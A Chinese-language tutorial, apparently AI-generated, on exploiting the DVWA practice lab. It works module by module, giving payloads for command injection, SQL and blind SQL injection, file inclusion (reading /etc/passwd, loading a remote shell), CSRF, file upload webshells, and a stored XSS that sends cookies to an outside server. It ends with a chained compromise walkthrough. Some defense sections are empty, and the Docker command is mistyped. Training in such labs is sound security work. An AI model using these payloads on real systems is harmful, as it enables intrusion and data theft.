DVWA 漏洞靶场实战完整项目教程
DVWA(Damn Vulnerable Web Application)是开源脆弱性Web靶场,用于学习Web安全漏洞原理、渗透测试、漏洞防御。本文从环境搭建 → 全漏洞实战 → 原理+利用+修复一步步讲解,适配Windows/Linux,附带操作步骤、Payload、防御方案。
一、前置准备 & 环境搭建
1. 运行环境选择
两种主流方案,任选其一:
方案1:PHPStudy + 本地部署(Windows 推荐,新手首选)
官方地址:https://github.com/digininja/DVWA
下载ZIP包,解压到 PHPStudy/www 目录,文件夹重命名为 dvwa
- 打开PHPStudy,启动 Apache + MySQL
- 浏览器访问 http://localhost/phpmyadmin,新建数据库:dvwa
进入 dvwa/config 目录,复制 config/config.inc.php.dist 并重命名为 config.inc.php
打开文件修改数据库账号密码(PHPStudy默认):$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root'; // 默认账号
$_DVWA[ 'db_password' ] = 'root'; // PHPStudy默认密码
浏览器访问:http://localhost/dvwa
拉到页面底部点击 Setup / Reset Database,完成数据库初始化。
- 管理员:admin / password
- 普通用户:guest / password
方案2:Docker 一键部署(Linux/Windows 通用,最简)
安装Docker后执行命令,自动拉取镜像并启动:
docker run -d –name dvwa -p 8080:80 vulnerables/web-dvwa
访问地址:http://localhost:8080,账号同上。
2. 核心设置(必做)
登录后进入 DVWA Security(安全级别),实战依次切换:
- Low:无防护,入门利用
- Medium:基础过滤,绕过学习
- High:严格过滤,高阶绕过
- Impossible:安全加固,防御参考
二、DVWA 全模块漏洞实战(12大模块)
模块1:Brute Force(暴力破解)
漏洞原理
登录接口无验证码、登录次数限制,可通过字典批量尝试账号密码。
1. Low 级别(无防护)
已知账号admin,密码试错,或直接抓包暴力破解
- 浏览器配置代理,Burp抓登录请求
- 发送到 Intruder,密码位置添加载荷位
- 加载密码字典,开始爆破,成功拿到密码 password
2. Medium 级别
增加简单错误提示判断,无其他防护,暴力破解逻辑不变。
3. High 级别
增加 Token 令牌(每次请求随机),传统爆破失效,需编写脚本动态获取Token再爆破。
4. Impossible(防御方案)
- 登录失败次数限制(5次锁定)
- 增加图形验证码
- 随机Token校验,彻底防御暴力破解
模块2:Command Injection(命令注入)
漏洞原理
后端直接拼接用户输入到系统命令中执行,攻击者输入特殊字符拼接系统命令。
常用拼接符:
- ; 分隔多条命令(Windows/Linux通用)
- & 并行执行命令
- | 管道执行
1. Low 级别
页面功能:输入IP执行ping命令
Payload 测试(直接输入):
127.0.0.1; whoami # Linux 查看当前用户
127.0.0.1; ipconfig # Windows 查看网卡信息
后端会拼接为:ping 127.0.0.1 ; whoami,两条命令依次执行。
2. Medium 级别
过滤了 &&、;,但 |、& 仍可用
可用Payload:
127.0.0.1 | ipconfig
3. High 级别
严格过滤大部分特殊符号,仅保留合法IP字符,注入难度极大。
防御方案
模块3:CSRF(跨站请求伪造)
漏洞原理
利用用户已登录身份,诱导用户点击恶意链接,在不知情下执行操作(如修改密码)。
攻击前提:用户处于登录状态 + 无Token防护。
1. Low 级别
功能:修改管理员密码
抓包获取修改密码的请求链接,构造恶意HTML页面:<!– 诱导已登录用户打开此页面,自动修改密码 –>
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">
2. Medium 级别
校验 Referer 请求头,简单绕过:修改请求头Referer为本站域名即可。
3. High 级别
增加 CSRF Token,每次请求携带随机令牌,恶意页面无法伪造,漏洞失效。
防御方案
- 关键操作增加 随机Token 校验
- 校验请求来源Referer
- 重要操作二次确认(短信/验证码)
模块4:File Inclusion(文件包含)
漏洞原理
PHP include/require 函数引入用户可控文件,分为本地文件包含(LFI)、远程文件包含(RFI)。
前提:PHP配置 allow_url_include = On 才可远程包含。
1. Low 级别
页面通过 page 参数加载文件:?page=include.php
本地文件包含(读取服务器文件)
Payload(Windows):
?page=../../../../Windows/system32/drivers/etc/hosts
Payload(Linux):
?page=../../../../etc/passwd
远程文件包含(执行恶意代码)
?page=http://xxx.xxx.xxx.xxx/shell.txt
服务器会远程加载并执行木马。
2. Medium 级别
过滤 http://、https://,可使用协议绕过(如 file://)。
3. High 级别
限定文件后缀,仅允许 file 目录下文件,彻底防御。
防御方案
模块5:File Upload(文件上传)【高频漏洞】
漏洞原理
前端/后端未严格校验文件类型、后缀、文件内容,上传恶意脚本(PHP木马),执行代码。
1. Low 级别(无任何校验)
2. Medium 级别
后端校验 Content-Type(MIME类型),绕过方式:
- Burp抓包,修改请求头中文件类型为合法图片类型(image/jpeg),再放行上传。
3. High 级别
校验文件后缀+文件头(图片头),绕过:
制作图片马:图片 + PHP木马混合,后缀改为.jpg,配合文件包含漏洞解析执行。
防御方案
模块6:Insecure CAPTCHA(不安全验证码)
漏洞原理
验证码逻辑缺陷:验证码可复用、前端JS控制、验证码可绕过。
Low/Medium:
验证码仅前端判断,抓包删除验证码参数即可直接提交,绕过验证。
High:
验证码服务存在逻辑漏洞,可暴力刷新获取有效验证码。
防御:
- 验证码单次有效,使用后立即失效
- 后端校验验证码,禁止前端JS判断
- 验证码复杂度提升(干扰线、大小写混合)
模块7:SQL Injection(SQL注入)【核心漏洞】
漏洞原理
用户输入直接拼接进SQL语句,未做过滤,篡改SQL逻辑,查询/窃取数据库数据。
1. Low 级别(字符型注入)
页面功能:输入用户ID查询信息
正常输入:1
基础Payload(判断注入)
1' — 报错,证明存在注入
脱库常用Payload
1' union select 1,database() —
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() —
2. Medium 级别
使用下拉框+过滤单引号,改为数字型注入,无需单引号,Payload微调即可利用。
3. High 级别
增加 LIMIT 1 限制、多语句过滤,需分页/堆叠注入绕过。
防御方案
模块8:SQL Injection (Blind)(SQL盲注)
漏洞原理
页面无报错回显,只返回“存在/不存在”两种状态,使用布尔盲注、时间盲注逐字符猜解数据。
- 布尔盲注:根据页面真假判断
- 时间盲注:sleep(5) 延时判断
示例Payload(布尔盲注):
1' and length(database())>1 —
配合二分法+脚本自动化猜解库名、表名、数据。
模块9:XSS(跨站脚本攻击)分三类
XSS 分为:反射型、存储型、DOM型,DVWA 对应三个XSS模块。
漏洞原理
未过滤用户输入的JS代码,代码被浏览器执行,可窃取Cookie、钓鱼、劫持页面。
1. XSS (Reflected) 反射型XSS(一次性)
Low级别直接输入基础弹窗Payload:
<script>alert('xss')</script>
URL携带代码,打开链接即触发,单次生效。
2. XSS (Stored) 存储型XSS(持久化,危害最大)
留言板功能,输入JS代码提交,代码存入数据库。所有访问页面的用户都会触发XSS。
窃取Cookie Payload:
<script>document.location='http://你的服务器/steal.php?c='+document.cookie</script>
3. XSS (DOM) DOM型XSS
代码在前端DOM解析,不经过后端,后端无过滤,前端JS拼接数据导致漏洞。
绕过前端JS过滤即可触发。
XSS 防御
模块10:Weak Session IDs(弱会话ID)
漏洞原理
Session ID 生成规则简单(自增、固定规律),攻击者预测/遍历Session,劫持用户会话。
- Low:SessionID纯数字自增,可直接遍历
- High:随机复杂SessionID,无法预测
防御
使用加密随机算法生成Session,定期更换Session。
三、综合实战项目:DVWA 渗透完整流程(实战演练)
项目目标
从外网进入 → 文件上传拿木马 → 命令注入提权 → 脱库获取全站账号密码
操作步骤
访问DVWA,识别服务:Apache + PHP + MySQL,探测所有漏洞模块。
优先利用 File Upload 文件上传(最简单直接)。
Low级别直接上传PHP一句话,获取木马地址。
使用蚁剑/菜刀连接,拿到网站目录权限。
结合 Command Injection 命令注入,执行系统命令,获取服务器账户。
利用SQL注入,查询users表,导出所有管理员账号、哈希密码。
针对每一个利用的漏洞,编写对应的修复代码与配置。
四、学习拓展 & 工具推荐
必备渗透工具
进阶学习路线
五、常见问题排错
检查 config.inc.php 数据库账号密码、MySQL服务是否启动。
检查Apache/Nginx 解析配置,关闭禁止脚本执行权限。
区分Windows/Linux系统,使用对应系统命令。
编辑php.ini,开启 allow_url_include = On,重启服务。
如果你需要,我可以单独输出:某一个漏洞的源码分析、手写绕过脚本、防御代码案例。




